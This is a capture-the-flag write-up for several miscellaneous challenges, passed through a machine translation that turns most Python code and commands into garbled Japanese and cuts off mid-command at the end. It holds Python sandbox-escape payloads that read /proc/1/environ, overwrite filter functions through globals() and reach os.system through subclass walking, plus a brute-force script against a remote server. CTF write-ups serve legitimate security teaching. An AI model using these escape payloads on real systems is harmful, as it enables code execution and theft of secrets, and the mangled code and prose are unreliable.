Jump to content

Misc

easyfuzz

1.文字列を入力しようとすることにより、入力文字のプログラムの検証ルールは9文字であると判断され、正しい文字が満たされている限り、最後の返品値はすべて111111111111111111111111111111111111

1049983-20231220102232383-2117306380.jpgは大胆に推測し続け、試してみてください。最初の2つのキャラクターは110000000を満たす任意のキャラクターであることができるため、最後の7文字を破壊できます。

1049983-20231220102232956-1570359645.png

2。ビットごとに爆発し、アイデアが正しいことを確認します、最後のビットは文字列「d」です

1049983-20231220102233640-77832507.png3。バーストスクリプトを書きます。文字列の長さが9ビットで入力されると、「ここにコードカバレッジ: 110000000」ではない結果とともに印刷されます。スクリプトは次のとおりです

PWNインポートから *

文字列インポートから印刷可能

conn=remote( '101.200.122.251'、12199)

non_matching_strings=[]

範囲のIの場合(9):

Printable:のcharの場合

ペイロード='A'*i + char + 'a'*(8-i)

print(conn.recvuntil(b'enter a string(10バイト未満): '))

conn.sendline(payload.encode())

response=conn.recvline()。decode()。strip()

応答!='ここにコードカバレッジ: 110000000':があります

non_matching_strings.append(ペイロード)

non_matching_strings:の文字列の場合

印刷(文字列)

フラグ:qwb {youknowhowtofuzz!}

サインイン

フラグ{welcome_to_qwb_2023}

pyjail!それはmyfilter !!!

です

Pythonサンドボックスエスケープは、閉じた後、環境を直接読み取り、フラグを取得する

{13212} '+(print(open('/proc/1/Environ ')。read())+'

または、payload:を使用します

{print(open( '/proc/1/Environ')。read())}

1049983-20231220102234429-840188246.jpg 1049983-20231220102235091-904152452.jpgFLAG {61E81B4F-566C-49F5-84DD-D79319FDDC82}

pyjail!それはmyRevenge !!!

です

Pythonサンドボックスエスケープ

ファイルのインポートOS; os.system( "nl fl*hzy")を書き込み、読み取りを使用して実行コンテンツを読んでフラグを取得する

すべてのフィルター文字はOctalでバイパスされ、セグメントで書かれています

{13212} '+(open(' wsy '、' a ')。書き込み(' 15115160157162 '))+' {13212} '+(open(' wsy '、' a ')。 'a')。write( '163; 157'))+'{13212}'+(open( 'wsy'、 'a')。write( '163。'))+'{13212}'+(open( 'wsy'、 'a')。 'a')。write( 'st'))+'{13212}'+(open( 'wsy'、 'a')。write( 'em(' nl 146*hzy ')')+'{13212}'+open( '143157de.py'、 'w')。

または、次のPOC:を順番に実行します

{globals()。update(dict(my_filter=lambda x:1))} '' {in''put()} '#

{globals()。update(dict(len=lambda x:0))} '' {in''put()} '#

{print( '' .__ class __.__ mro __ [1] .__サブクラス__()[137] .__ init __.__グローバル__ ['__ builtins __'] ['__ import __']( 'os')。

['flag_26f574f8cee82d06fedc45cf5916b86a732dd326ce1cb2c9a96751e072d0a104'、 'server_8f6c72124774022b.py']

{globals()。update(dict(my_filter=lambda x:1))} '' {in '' put()} '#

{globals()。 update(dict(len=lambda x:0))} '' {in '' put()} '#

{print(open( 'flag_26f574f8cee82d06fedc45cf5916b86a732dd326ce1cb2c9a96751e072d0a104')。read()}}}

1049983-20231220102235740-1742558554.jpg

フラグ{8F0A4AC2-52D3-4ADB-A1A3-47E05997817D}

wabby wabbo Radio

f12は、wav/static/audios/xh4.wavへのリンクを取得できます

1049983-20231220102236427-57165101.jpgはそれを更新し、それがランダムにプレイするために選択されていることを発見しました。

それを曖昧にすると、合計xh1-xh5とhint1-hint2とflag.wavがあります

各波の左のボーカルは明らかに苔です

1049983-20231220102237104-943477565.jpg

独立したチャネル、振幅を増やし、オンラインWebサイトを説明します

https://MORSECODE.world/international/decoder/audio-decoder-adaptive.html

得る:

旗が欲しいですか?もう少し長く聞いてみましょう。ゲンシンの衝撃の始まり。今日の天気は本当にいいです。 Wabby Wabbo Radioを聴くのは素晴らしい日です。それを行う方法がわからない場合、最初に何か他のことをすることができます。

他に役に立つものはありません、QAMキャリアの振幅を1つだけプロンプトします

https://info.support.huawei.com/info-finder/encyclopedia/zh/qam.html#qam'sホロスコープ

簡単な理解の後、私は01が振幅によって区別できることを発見しました。振幅を印刷しようとしましたが、それらはすべて±1と±3の間に濃縮されることがわかりました。

1049983-20231220102237866-1291932793.jpg 16Qam星座図を比較すると、振幅は信号対応を形成するだけであることがわかりますが、特定の対応が何であるかはわかりません。私たちは盲目的に小さいから大規模に推測します。

簡単なスクリプトは次のとおりです。

scipy.io.wavfileをwavとしてインポートします

npとしてnumpyをインポートします

sysをインポートします

sample_rate、data=wav.read( 'flag.wav')

data:のiの場合

印刷(i)

flag=''

def Repla(n):

n==-3:の場合

「00」を返す

elif n==-1:

「01」を返す

elif n==1:

「10」を返す

elif n==3:

「11」を返す

x、y in data:の場合

n1=round(float(x))

n2=round(float(y))

flag +=repla(n1)

flag +=repla(n2)

print(flag)

1049983-20231220102238733-2090115571.jpg

スパイシャドウ3.0

ヒントを与える:紙の飛行機も飛行機であり、海の反対側に海外に飛ぶこともできます。トピックの説明によると、特別なトンネルをVPNとして関連付けるのは簡単です

少し検索すると、シャドークスクにつながります、リファレンス記事:

https://phuker.github.io/posts/shadowsks-active-probing.html

完全な復号化スクリプトが与えられましたが、キーがわからないので、リクエストを成功させるために識別子としてHTTPを爆発させただけです。

#!/usr/bin/env python3

#encoding: utf-8

OSをインポートします

sysをインポートします

ロギングをインポートします

Hashlibをインポートします

crypto.cipher Import AESから

logging.basicconfig(level=logging.info)

def evp_bytestokey(password、key_len、iv_len):

m=[]

i=0

while len(b ''。結合(m))(key_len + iv_len):

md5=hashlib.md5()

データ=パスワード

0:の場合

データ=m [i -1] +パスワード

md5.update(データ)

M.Append(md5.digest())

I +=1

ms=b ''。参加(m)

key=ms [:key_len]

iv=ms [key_len3360key_len + iv_len]

リターンキー、iv

def Decrypt(cipher、password):

key_len=int(256/8)

IV_LEN=16

モード=aes.mode_cfb

key、_=evp_bytestokey(password、key_len、iv_len)

cipher=bytes.fromhex(cipher)

iv=cipher [:iv_len]

real_cipher=cipher [iv_len:]

obj=aes.new(key、mode、iv、segment_size=128)

Plain=obj.decrypt(real_cipher)

平野を返します

def main():

#HTTPリクエストをテストします

cipher='E0A77DFAFB6948728EF45033116B34FC855E7AC8570CAED829CA9B4C32C2F6F79184E333445C6027E18 A6B53253DCA03C6C464B8289CB7A16AA17666A0325EE842F9A766B81039FE50C5DA12DFAA89ECCE17B1 1BA9748899B49B071851040245FA5EA1312180DEF3D7C0F5AF697343544A8A342E8FCD2B1759086EAD1 24E39A8B3E2F6DC5D56AD7E8548569EE98EC363F87930D4AF80E984D0103036A91BE4AD76F0CFB00206 '

f:としてopen( 'rockyou.txt'、 'rb')

lines=f.readlines()

ライン:のパスワードの場合

Plain=Decrypt(cipher、password.strip())

Plain:のb'http 'の場合

印刷(パスワード、プレーン)

__name__=='__main __' :の場合

主要()

#b'superman \ n 'b' \ x03 \ x0f192.168.159.131 \ x00pget /why-you-you-you-want this-is http /1.1 \ r \ nhost: 192.168.159.131 \ r \ nuur-agent3360 curl/8.4.0 \ r \ naccept: */*\ r \ nconnection: close \ r \ n \ r \ n '

ファイル名を取得してください理由は何ですか?

フラグ{DC7E57298E65949102C17596F1934A97}

スパイシャドウ2.0

トピックの説明によれば、航空機の交通はADS-Bプロトコルに簡単に関連付けることができます

TCPストリームデータをエクスポートします

tshark -r attach.pcapng -y 'tcp' -t fields -e tcp.segment_data tcp.txt

解析スクリプト:

ピモードをインポートします

f:としてopen( 'tcp.txt'、 'r')

lines=f.readlines()

ライン:のデータの場合

Len(data)==47:の場合

print(pymodes.decoder.tell(data [18:]))

空中速度をフィルターし、79A05Eの最速飛行機は371ノットで、MD5 ICAOアドレスはフラグです

1049983-20231220102239481-10217306.jpgまたは

パケットをJSON形式にエクスポートします

1049983-20231220102240331-759824562.png

スクリプトを使用してフィールドを抽出し、MD5を実行します

JSONをインポートします

PMSとしてPymodをインポートします

Hashlibをインポートします

file:として、open( '123.json'、 'r'、encoding='utf-8')を使用します

data=json.load(file)

情報=[]

data:のパケット用

パケット['_ source']および「tcp」の「層」['_ source'] ['layers'] :の場合

tcp_layer=packet ['_ source'] ['layers'] ['tcp']

tcp_layer:の「tcp.payload」の場合

tcp_payload=tcp_layer ['tcp.payload']。

info.append(tcp_payload)

planes_data=[]

Info:のIの場合

msg=i [18:]

pms.adsb.typecode(msg)=19およびpms.adsb.typecode(msg)=22:の場合

icao=pms.adsb.icao(msg)

velocity_info=pms.adsb.velocity(msg)

速度、トラック、vertical_rate、_=velocity_info

plane_info={'icao': icao、' speed ': speed、 'track ':トラック、' vertical_rate': vertical_rate}

planes_data.append(plane_info)

fastest_plane=max(planes_data、key=lambda x: x ['speed'])

print(hashlib.md5(fastest_plane ['icao']。上()。encode())。hexdigest()))

#flag {4cf6729b9bc05686a79c1620b0b1967b}

ハッピーチェス

予想外であるはずです。いつでも9つの位置を入力し、ラウンドを直接終了します。成功したと見なされます。

1049983-20231220102241092-1866057286.jpg

強いネットパイオニア

speedup

純粋なソーシャルワークの問題は、27の力に対する要因の合計を必要とし、OEISにはこの値が直接あります

https://oeis.org/a244060/list

2023 强网杯 writeup by Arr3stY0u

SHA256の後、フラグを取得します

flag {bbdee5c548fddfc76617c562952a3a3b03d423985c095521a86661d248fad3797}

pngを見つけましたか?

文字列main.mem | grep 'linuxバージョン」

1049983-20231220102242746-1827208583.jpgカーネルバージョンを取得したら、写真を撮ります

https://Treasure-house.randark.site/blog/2023-10-25-memoryforensic-test/

Linuxプロファイルを作成します

Python2 vol.py -f C:USERS22826DESKTOPMAIN.MEM -PROFILE=LINUXUBUNTU2004X64 LINUX_FIND_FILE -L | sindstr 'デスクトップ'

デスクトップにファイルを見つけることができますhave_your_fun.jocker

1049983-20231220102243633-2077410566.jpgはエクスポートを試みましたが、空です

python2 vol.py -f C:USERS22826DESKTOPMAIN.MEM -PROFILE=Linux

0 Comments

Recommended Comments

There are no comments to display.

Guest
Add a comment...